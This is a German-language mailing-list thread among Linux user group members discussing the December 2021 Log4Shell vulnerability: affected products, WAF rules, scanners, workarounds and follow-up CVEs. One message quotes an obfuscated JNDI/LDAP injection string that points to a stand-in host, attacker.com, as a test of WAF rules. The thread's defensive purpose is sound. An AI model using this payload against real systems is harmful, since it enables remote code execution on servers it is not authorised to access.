CVE-2021-44228/LogJam/Log4Shell

32 views
Skip to first unread message

Robert Penz

unread,
Dec 10, 2021, 4:17:49 PM12/10/21
to Linux User Group Tirol

Hi!

schaut mal auf eure ganzen Server die Java laufen haben, es ist sehr wahrscheinlich, dass die von der log4j RCE betroffen sind. Auch so Sachen wie Minecraft, Jisti oder alles was in der nähe von einem tomcat ist  sind betroffen. Hier die Details:

https://www.lunasec.io/docs/blog/log4j-zero-day/

Wir sehen seit heute in der früh Angriffe auf unsere Systeme von vielen IPs .. es haben auch leute schon eine Liste der IPs zusammengetragen https://gist.github.com/gnremy/c546c7911d5f876f263309d7161a7217. Für mod_security hätte ich hier eine Rule zum temporären blocken https://robert.penz.name/1602/modsecurity-rule-to-filter-cve-2021-44228-logjam-log4shell/ und für Jitsi auch einen temporären fix: https://robert.penz.name/1595/jitsi-workaround-for-cve-2021-44228-logjam/

und hier ein Beispiel wie das ausschaut - russische IP die es bei uns probiert die ganze Zeit.

sg,

Robert

Simon Legner

unread,
Dec 11, 2021, 6:32:07 AM12/11/21
to LUGT (Google Groups)
Hallo,

ja, das war ein super Freitag. Und abends kurz vor dem Schlafengehen eine feine Erinnerung an den Tag via LUGT. ;)

ModSecurity klingt sehr interessant. Verwendet das jemand im nginx? Ist getpagespeed.com [0] eine vernünftige Quelle für ein CentOS-Paket von ngx_http_modsecurity_module?

Cloudflare bloggt über log4j2 [1] und analysiert diverse Payloads [2]. Laut [2] kommen die top 5 der top 20 attackers aus Canada, United States, Netherlands, France, United Kingdom.

Grüße!
Simon



--
Tipp: Stammtischkalender (Google-Kalender) "linuxuser...@gmail.com"
in die eigene Terminverwaltung einbinden. Siehe: http://www.lugt.at/p/stammtisch.html
---
Sie erhalten diese Nachricht, weil Sie in Google Groups E-Mails von der Gruppe "Linux User Group Tirol" abonniert haben.
Wenn Sie sich von dieser Gruppe abmelden und keine E-Mails mehr von dieser Gruppe erhalten möchten, senden Sie eine E-Mail an linuxusergroupt...@googlegroups.com.
Wenn Sie diese Diskussion im Web verfolgen möchten, rufen Sie https://groups.google.com/d/msgid/linuxusergrouptirol/b049eb95-4dc7-096c-14ab-31a065ef1c46%40penz.name auf.

Robert Penz

unread,
Dec 11, 2021, 8:21:00 AM12/11/21
to Linux User Group Tirol

Hi!

das wird nicht bei dem Freitag bleiben. Wir haben in unserem zentralen Backup nach den log4j Dateien gesucht und man glaubt nicht wer das aller hat. Beispiele gefällig?  Vmware Vcenter,  elasticsearch, graylog, apache solar, oracle dbs und webforms, grafana ... ich bin mir sicher jeder setzt irgendwas ein das von der Sache betroffen ist.

ps: bei Cloudflare aufpassen, dass der Webserver nur von Cloudflare IPs erreichbar ist. Weil die Angreifer gehen über alle IPv4 IPs und kommen somit auch direkt hin.

sg,

Robert

Robert Penz

unread,
Dec 11, 2021, 10:40:51 AM12/11/21
to Linux User Group Tirol

Hi!

Hier gibt es noch ein gutes write-up für detection und IR: https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

was für den Richard dann wohl ;-)

sg,

Robert

Richard Weinberger

unread,
Dec 11, 2021, 5:05:08 PM12/11/21
to Linux User Group Tirol
Hi!


RobertPenz schrieb am Samstag, 11. Dezember 2021 um 14:21:00 UTC+1:

das wird nicht bei dem Freitag bleiben. Wir haben in unserem zentralen Backup nach den log4j Dateien gesucht und man glaubt nicht wer das aller hat. Beispiele gefällig?  Vmware Vcenter,  elasticsearch, graylog, apache solar, oracle dbs und webforms, grafana ... ich bin mir sicher jeder setzt irgendwas ein das von der Sache betroffen ist.


Spannend ist auch wie viel noch log4j 1.2.x verwendet. Welches zwar nicht betroffen, aber dafür längst EOL ist.

LG,
//richard


Christoph Lechleitner

unread,
Dec 11, 2021, 5:18:26 PM12/11/21
to linuxuser...@googlegroups.com
Am 11.12.21 um 23:05 schrieb Richard Weinberger:
Java 8 ist ja ab release 121 default nicht mehr anfällig soweit ich https://www.oracle.com/java/technologies/javase/8u121-relnotes.html Kapitel "Improved protection for JNDI remote class loading" verstehe.

Dort wo ich noch ältere Java 8 gefunden habe setzt der Kunde eh noch Java 7 ein, aber natürlich mit Log4J 1 das ja mangels Feature auch nicht betroffen ist.


lg Christoph


--

Christoph Lechleitner

Geschäftsführung

------------------------------------------------------------------------
ITEG IT-Engineers GmbH | Salurner Straße 18, A-6020 Innsbruck
FN 365826f | Handelsgericht Innsbruck | Mobiltelefon: +43 676 3674710
Mail: christoph....@iteg.at | Web: http://www.iteg.at/
------------------------------------------------------------------------

Simon Legner

unread,
Dec 11, 2021, 5:41:17 PM12/11/21
to LUGT (Google Groups)
On Sat, Dec 11, 2021 at 11:18 PM Christoph Lechleitner
<christoph....@iteg.at> wrote:
> Java 8 ist ja ab release 121 default nicht mehr anfällig soweit ich https://www.oracle.com/java/technologies/javase/8u121-relnotes.html Kapitel "Improved protection for JNDI remote class loading" verstehe.

Laut https://www.openwall.com/lists/oss-security/2021/12/10/2

> Please note, that Java 8u121+ does not necessarily protect against
> remote code execution. There are known exploitation vectors using local
> naming factories, e.g. a XBean BeanFactory (bundled with Tomcat). Also,
> both RMI and LDAP lookups can be made to perform Java deserialization on
> remote input and therefore there is a good chance for secondary RCE
> exploits.

Simon Legner

unread,
Dec 11, 2021, 6:16:45 PM12/11/21
to LUGT (Google Groups)
On Sat, Dec 11, 2021 at 4:40 PM Robert Penz <rob...@penz.name> wrote:
> Hier gibt es noch ein gutes write-up für detection und IR: https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b

Eine Sammlung von "security Advisories linked to Log4Shell":
https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

Entdeckt und gerade ein bisschen ausgebaut: ein Go-Programm, das ein
CIDR/Port bzw. eine Liste von URLs abklappert, einen freundlichen
jndi:ldap sendet und mit dem eingebauten HTTP-Server auf Antworten
wartet.

Inzwischen hat Log4Shell ein tolles Logo ;-) –
https://www.lunasec.io/docs/blog/log4j-zero-day/ – "Kudos to
@GossiTheDog for the MS Paint logo" →
https://www.lunasec.io/docs/img/log4shell-logo.png

2 Millionen Server mit "Apache-Coyote"
https://www.shodan.io/search?query=Apache-Coyote
2 Millionen Server mit "JSESSIONID"
https://www.shodan.io/search/report?query=JSESSIONID

Zumindest Confluence und JIRA sind wohl nicht anfällig – `tar tf` auf
die neuesten .tar.gz
atlassian-confluence-7.15.0/confluence/WEB-INF/lib/log4j-1.2.17-atlassian-3.jar
atlassian-confluence-7.15.0/confluence/WEB-INF/lib/log4j12-extras-0.0.2.jar
atlassian-confluence-7.15.0/confluence/WEB-INF/lib/log4j2-stacktrace-origins-2.2-atlassian-2.jar
atlassian-confluence-7.15.0/confluence/WEB-INF/lib/slf4j-log4j12-1.7.25.jar
atlassian-jira-software-8.21.0-standalone/lib/log4j-1.2.17-atlassian-3.jar
atlassian-jira-software-8.21.0-standalone/lib/slf4j-log4j12-1.7.30.jar

Christoph Lechleitner

unread,
Dec 11, 2021, 7:34:12 PM12/11/21
to linuxuser...@googlegroups.com, Wolfgang Glas, ad...@iteg.at
Am 12.12.21 um 00:16 schrieb Simon Legner:
> On Sat, Dec 11, 2021 at 4:40 PM Robert Penz <rob...@penz.name> wrote:
>> Hier gibt es noch ein gutes write-up für detection und IR: https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b
>
> Eine Sammlung von "security Advisories linked to Log4Shell":
> https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592

Thx, auch für die anderen Log4Shell-Beiträge hier.

Bei uns trifft's unseren osgi-runner (via pax), wobei man da erstmal was finden muss was unauthenifiziert user-content auf's logging durchreicht.
Am ehesten noch das Login-Framework.

Hab' sicherheitshalber die JndiLookup.class aus den log4j2*.jar entsorgt und den Dienst restartet.

Sämtliche anderen Java-Daemons bei uns, also ColdFusion-, Railo-, Lucee- und sonstige Tomcat-Apps verwenden Log4J 1.x.

Bleiben noch IPMI/BCM/KVM-, NAS-, Firewall-, VM-Systeme und ein Drucker, aber öffentlich erreichbar sind nur die Firewalls und die scheinen eh nur PHP u.ä. zu verwenden.

lg Christoph

Robert Penz

unread,
Dec 12, 2021, 8:42:07 AM12/12/21
to linuxuser...@googlegroups.com, Wolfgang Glas, ad...@iteg.at
Hi,

Und du bist sicher das log4j 1.x das nicht supported ist keine anderen Löcher hat? Hehe :-)

SG
Robert

--
Tipp: Stammtischkalender (Google-Kalender) "linuxuser...@gmail.com"
in die eigene Terminverwaltung einbinden. Siehe: http://www.lugt.at/p/stammtisch.html
---

Sie erhalten diese Nachricht, weil Sie Mitglied der Google Groups-Gruppe "Linux User Group Tirol" sind.

Wenn Sie sich von dieser Gruppe abmelden und keine E-Mails mehr von dieser Gruppe erhalten möchten, senden Sie eine E-Mail an linuxusergroupt...@googlegroups.com.

Robert Penz

unread,
Dec 12, 2021, 8:44:01 AM12/12/21
to linuxuser...@googlegroups.com
Ah unifi Access Points sind doch sicher auch bei lugt Leuten beliebt.

Gibt Update wegen log4shell


Am 12.12.2021 01:34 schrieb Christoph Lechleitner <christoph....@iteg.at>:

Christoph Lechleitner

unread,
Dec 12, 2021, 8:44:11 AM12/12/21
to linuxuser...@googlegroups.com
Am 12.12.21 um 14:42 schrieb Robert Penz:
> Hi,
>
> Und du bist sicher das log4j 1.x das nicht supported ist keine anderen Löcher hat? Hehe :-)

Zumindest keine RCE.

Der 0-day wird dann am 24.12. bekannt.

lg

Simon Legner

unread,
Dec 12, 2021, 9:10:42 AM12/12/21
to LUGT (Google Groups), Wolfgang Glas, ad...@iteg.at
On Sun, Dec 12, 2021 at 2:42 PM Robert Penz <rob...@penz.name> wrote:
> Und du bist sicher das log4j 1.x das nicht supported ist keine anderen Löcher hat? Hehe :-)

https://github.com/apache/logging-log4j2/pull/608#issuecomment-990494126

> strictly speaking, applications using Log4j 1.x may be impacted if their configuration uses JNDI. However, the risk is much lower...
> Note that log4j 1.x is End of Life and has other security vulnerabilities that will not be fixed.

Also nur wenn man JNDI in die Konfiguration geschrieben hat...

Robert Penz

unread,
Dec 12, 2021, 1:37:59 PM12/12/21
to linuxuser...@googlegroups.com

Hi!

und es wird besser ...

https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-549032-10F2.pdf?__blob=publicationFile&v=6

Dort auf Seite 4

Es sind zudem Ausnutzungen der Schwachstelle zu beobachten, die kein explizites Nachladen eines Schadcodes
benötigen und einen maliziösen Code direkt in der Abfrage enthalten. Dies gefährdet auch Grundschutz-konforme

Systeme, die i.d.R. keine Verbindung ins Internet aufbauen können.

Richard Weinberger

unread,
Dec 12, 2021, 2:01:46 PM12/12/21
to Linux User Group Tirol
RobertPenz schrieb am Sonntag, 12. Dezember 2021 um 19:37:59 UTC+1:

und es wird besser ...

https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-549032-10F2.pdf?__blob=publicationFile&v=6

Dort auf Seite 4

Es sind zudem Ausnutzungen der Schwachstelle zu beobachten, die kein explizites Nachladen eines Schadcodes
benötigen und einen maliziösen Code direkt in der Abfrage enthalten. Dies gefährdet auch Grundschutz-konforme

Systeme, die i.d.R. keine Verbindung ins Internet aufbauen können.



Uff. Danke für den Link.

LG,
//richard

Simon Legner

unread,
Dec 12, 2021, 2:28:42 PM12/12/21
to LUGT (Google Groups)
On Sun, Dec 12, 2021 at 7:38 PM Robert Penz <rob...@penz.name> wrote:
> https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-549032-10F2.pdf?__blob=publicationFile&v=6

Das dort erwähnte (in Go geschriebene) Tool
https://github.com/hillu/local-log4j-vuln-scanner scheint super zu
funktionieren. Es vergleicht alle in .jar/.war enthaltenen .class
gegen sha256-Hashes. Hier beispielsweise‘ auf eine
sqldeveloper-Installation losgelassen:

indicator for vulnerable component found in
E:\Programme\sqldeveloper\sqldeveloper\lib\log4j-core.jar
(org/apache/logging/log4j/core/net/JndiManager.class): log4j
2.13.0-2.13.3
indicator for vulnerable component found in
E:\Programme\sqldeveloper\sqldeveloper\lib\log4j-core.jar
(org/apache/logging/log4j/core/net/JndiManager$1.class): log4j
2.13.0-2.15.0
indicator for vulnerable component found in
E:\Programme\sqldeveloper\sqldeveloper\lib\log4j-core.jar
(org/apache/logging/log4j/core/net/JndiManager$JndiManagerFactory.class):
log4j 2.13.0-2.13.3

Simon Legner

unread,
Dec 12, 2021, 4:44:10 PM12/12/21
to LUGT (Google Groups)
Use Log4Shell vulnerability to vaccinate a victim server against
Log4Shell – https://github.com/Cybereason/Logout4Shell

> code that exploits the same vulnerability and the payload therein forces the logger to reconfigure itself with the vulnerable setting disabled - this effectively blocks any further attempt to exploit Log4Shell on this server

Marco Fleckinger

unread,
Dec 12, 2021, 8:57:27 PM12/12/21
to linuxuser...@googlegroups.com
Hallo,

danke, für's Aufmerksam-Machen.

Hatte zwei Jitsi-Installationen. Die ältere habe ich bei der Gelegenheit
abgedreht. Aber da ich alles in Docker verwende, war ich angeblich
einigermaßen safe: [1]

Die Leute haben aber schon upgegradete Debian-Pakete und damit auch
schon neue Docker-Images, die gar nicht mehr betroffen sind: [2]

Weil eh nur die JVB (und ggf. JiGaSi) betroffen ist, sollte meistens das
schon reichen:

docker pull jitsi/jvb
docker-compose up -d

Ich hab gleich noch ein bisschen mehr upgegradet, daher war's etwas
komplizierter.

[1] https://github.com/jitsi/docker-jitsi-meet/issues/1162
[2] https://community.jitsi.org/t/cve-2021-44228-and-jitsi-components/108844

Grüße

Marco

Simon Legner

unread,
Dec 13, 2021, 4:55:41 PM12/13/21
to LUGT (Google Groups)
Wer hat kann Log4Shell schon nicht mehr hören? ;-) –– Dennoch ein paar
spannende Punkte von heute...

https://www.techsolvency.com/story-so-far/cve-2021-44228-log4j-log4shell/
– Cheat-sheet reference guide

https://www.bsi.bund.de/SharedDocs/Cybersicherheitswarnungen/DE/2021/2021-549032-10F2.html
– BSI-Warnung in Version 1.4/2021-12-13

https://github.com/NCSC-NL/log4shell – Contains a list of known
vulnerable and not vulnerable software

https://github.com/logpresso/CVE-2021-44228-Scanner – If you add --fix
option, this program will copy vulnerable original JAR file to .bak
file, and create new JAR file without
org/apache/logging/log4j/core/lookup/JndiLookup.class entry.

https://tinylog.org/ – lightweight logging framework for Java, Kotlin,
Scala, and Android – 118 KB statt 1.7 MB log4j2 – werde ich demnächst
mal evaluieren/testen.

Finden eure WAF-Regeln auch
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attacker.com/a}
https://twitter.com/Rezn0k/status/1469523006015750146

Robert Penz

unread,
Dec 14, 2021, 1:15:54 PM12/14/21
to linuxuser...@googlegroups.com

Hi!

Es geht weiter - 2.15.0 ist nicht aussreichend - gibt jetzt CVE-2021-45046 - lest euch auch die Details durch.

Marco Fleckinger

unread,
Dec 14, 2021, 2:21:24 PM12/14/21
to linuxuser...@googlegroups.com
Das letzte Update hat dann nicht viel gebracht. Wenn alles dockerized
ist, dann gibt es auf localhost halt nicht viel, auch keinen LDAP ;-)

Die Verwendung von Log4j 2.16 in Jitsi braucht noch ein bisschen, aber
man kann nicht unzufrieden sein. Als ich das Update eingespielt habe,
war es schon ein paar Tage alt. Die Entwickler waren echt schnell.

Grüße

Marco

On 14/12/2021 19:15, Robert Penz wrote:
> Hi!
>
> Es geht weiter - 2.15.0 ist nicht aussreichend - gibt jetzt
> CVE-2021-45046 - lest euch auch die Details durch.
>
> --
> Tipp: Stammtischkalender (Google-Kalender) "linuxuser...@gmail.com"
> in die eigene Terminverwaltung einbinden. Siehe:
> http://www.lugt.at/p/stammtisch.html <http://www.lugt.at/p/stammtisch.html>
> ---
> Sie erhalten diese Nachricht, weil Sie in Google Groups E-Mails von der
> Gruppe "Linux User Group Tirol" abonniert haben.
> Wenn Sie sich von dieser Gruppe abmelden und keine E-Mails mehr von
> dieser Gruppe erhalten möchten, senden Sie eine E-Mail an
> linuxusergroupt...@googlegroups.com
> <mailto:linuxusergroupt...@googlegroups.com>.
> Wenn Sie diese Diskussion im Web verfolgen möchten, rufen Sie
> https://groups.google.com/d/msgid/linuxusergrouptirol/17b6de8c-4fc3-0b82-6bd6-4461937d156e%40penz.name
> <https://groups.google.com/d/msgid/linuxusergrouptirol/17b6de8c-4fc3-0b82-6bd6-4461937d156e%40penz.name?utm_medium=email&utm_source=footer>
> auf.

Robert Penz

unread,
Dec 14, 2021, 2:25:01 PM12/14/21
to linuxuser...@googlegroups.com
Hi!

wieso hat das eine Relevanz ob es auf dem Docker ein LDAP gibt? Das
Problem ist wenn der Docker ins Internet darf dann darf er dort Code
nachladen, wenn dann musst du das verhindern, dass der keine
Verbindungen ins Internet aufmachen darf .. und für einen Cryptominer
gehts nur um die CPU ... für die anderen müssen sie aus dem Container
ausbrechen, oder es reicht ihnen bei "geheimen" Besprechungen übers
Jitsi mitzuhorchen .. oder sie verwenden es einfach als Zombie für DDOS
Angriffe .. das müssen sie auch nicht aus dem Container raus.

sg,

Robert

Marco Fleckinger

unread,
Dec 15, 2021, 4:23:54 AM12/15/21
to linuxuser...@googlegroups.com
Hallo Robert,

oh sorry, hab' den Screenshot etwas falsch gelesen, hab' im Moment wohl
etwas zu viel um die Ohren. Dort steht, dass Log4j 2.15.0 (das den Fix
für CVE-2011-44228 enthält) LDAP-Aufrufe auf localhost beschränkt (by
default). Ich habe es gelesen, als dass es nur dieses Problem von LDAP
auf localhost addressiert.

Aber bei mir ist das ohnehin kein Problem. Jitsi verwendet Log4J nur für
CallStats, was bei einer dockerizten Architektur eh nicht verwendet
werden kann.

Gestern gab es noch kein Update, sonst werde ich es auch installieren,
is ja logisch. Beim ersten Update waren sie richtig schnell.

Grüße

Marco

Simon Legner

unread,
Dec 17, 2021, 1:11:14 PM12/17/21
to LUGT (Google Groups)
Wieder Freitag, wieder Log4j:

Log4Shell Update: Severity Upgraded 3.7 -> 9.0 for Second log4j Vulnerability (CVE-2021-45046):

Thread Context lookups bypass localhost restriction:



Sie erhalten diese Nachricht, weil Sie Mitglied der Google Groups-Gruppe "Linux User Group Tirol" sind.
Wenn Sie sich von dieser Gruppe abmelden und keine E-Mails mehr von dieser Gruppe erhalten möchten, senden Sie eine E-Mail an linuxusergroupt...@googlegroups.com.
Besuchen Sie https://groups.google.com/d/msgid/linuxusergrouptirol/6f3642dd-1b71-4fbb-ab52-0bda97137dc7%40gmail.com, um diese Diskussion im Web anzuzeigen.
Reply all
Reply to author
Forward
0 new messages